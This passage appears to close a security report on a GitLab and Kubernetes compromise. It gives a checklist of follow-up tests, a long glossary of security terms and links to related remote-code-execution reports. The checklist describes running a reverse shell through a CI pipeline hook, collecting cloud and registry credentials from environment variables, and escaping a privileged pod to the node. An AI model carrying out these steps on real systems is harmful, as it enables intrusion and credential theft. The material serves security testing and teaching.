  • With GitLab console or database access, check password_authentication_enabled_for_web. If it is false, try setting it to true and creating an admin user, then use a .gitlab-ci.yml before_script hook to run a reverse shell. A positive result is a shell on a GitLab worker pod.
  • On any CI/CD worker, run env and look for kubeconfigs, registry credentials and cloud service account keys. A positive result is credentials that authenticate to the cluster or registry, as with the gcloud auth activate-service-account and gcloud container images list commands here.
  • With a kubeconfig, try creating a privileged pod and using the mount cgroup method to escape to the worker node. A positive result is a shell on the node rather than in the pod.

Glossary

  • API: the part of a website that other software talks to, rather than a human with a browser.
  • Basic authentication: logging in with a username and password stored by the application itself.
  • Bean validation: a standard Java mechanism for checking that input meets rules, such as upper or lower case.
  • cgroup: a Linux feature that groups processes and limits their resources.
  • CI/CD pipeline: an automated assembly line that builds, tests and ships code when it changes.
  • Container: a lightweight, sealed-off box on a server holding one application and just enough operating system to run it.
  • Cron job: a task scheduled to run automatically at set times.
  • CVE: the official catalogue number for a known security bug in software.
  • Docker: the most common tool for building and running containers.
  • Docker auth file: a file storing login details for container registries.
  • Endpoint: one specific address on an API, like one counter in a post office.
  • Enumeration: listing what is there, such as users, files, addresses and open ports.
  • Environment variable: a named value a program inherits from its surroundings, often used for configuration and credentials.
  • Exfiltrate: copy data out of a system.
  • Foothold: a reliable way back into a compromised system.
  • gcloud: Google's command-line tool for its cloud platform.
  • GCR: Google Container Registry, Google's store for container images.
  • GitLab: a website where software teams keep code and automate the work around it.
  • Hook: a named stage in a pipeline configuration that runs at a particular moment.
  • IDOR: insecure direct object reference, changing an ID in a request to reach someone else's data.
  • Image: the packaged template from which containers are made.
  • Java: a programming language; a Java web application is a website whose server-side logic is written in it.
  • JSON: a text format for structured data, made of field names and values.
  • Kubeconfig: a settings file that lets a tool log in to a Kubernetes cluster.
  • Kubernetes: the system that runs and organises containers across many machines.
  • microdnf: a minimal package manager used to install software on some Linux systems.
  • Out of scope: outside what an engagement allows.
  • Payload: the malicious input you send.
  • Persistence: a way to keep access after the current session ends.
  • Pivoting: using one compromised machine as a stepping stone to reach another.
  • Pod: the smallest unit Kubernetes runs, usually one container plus its settings.
  • Port: a numbered door on a machine; a service waiting for connections is listening on a port.
  • Privileged pod: a container given far more power over the host than a normal container.
  • Process: a running program on a computer.
  • Rails: a framework for building web applications in the Ruby language; GitLab is built on it.
  • RCE: remote code execution, a bug that lets someone make a machine run commands of their choosing.
  • Reconnaissance: looking around before attacking, to build a map of the target.
  • Reflection: a Java feature that lets code inspect and use other code by name at runtime.
  • Repository: a project folder holding code and its history.
  • REST API: a set of web addresses that let software perform actions.
  • Reverse shell: a connection from the victim machine back to the attacker's machine, giving a command prompt on the victim.
  • Secret: any credential that grants access, such as a password, key or token.
  • Service account: a non-human account used by software rather than a person.
  • Spinnaker: a tool for releasing software.
  • SQLi: SQL injection, tricking a database by putting database commands into a form field.
  • SSO: single sign-on, logging in through a central identity provider instead of a password stored in the application.
  • Subdomain: a name like gitlab.example.com under a main domain like example.com.
  • Subnet: a range of network addresses that belong together.
  • Template: a page or message with blanks that get filled in by the server.
  • Template injection: a bug where the server treats user input as part of the template and evaluates it.
  • Token: a string that proves who you are, like a temporary badge.
  • Unpatched: a known bug whose fix has not been applied.
  • vhost brute forcing: trying many hostnames against one address, because one web server can host many sites.
  • Worker: the machine that actually does the work on a pipeline.
  • XSS: cross-site scripting, slipping JavaScript into a page so it runs in another user's browser.
  • YAML: a text format where indentation shows structure.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.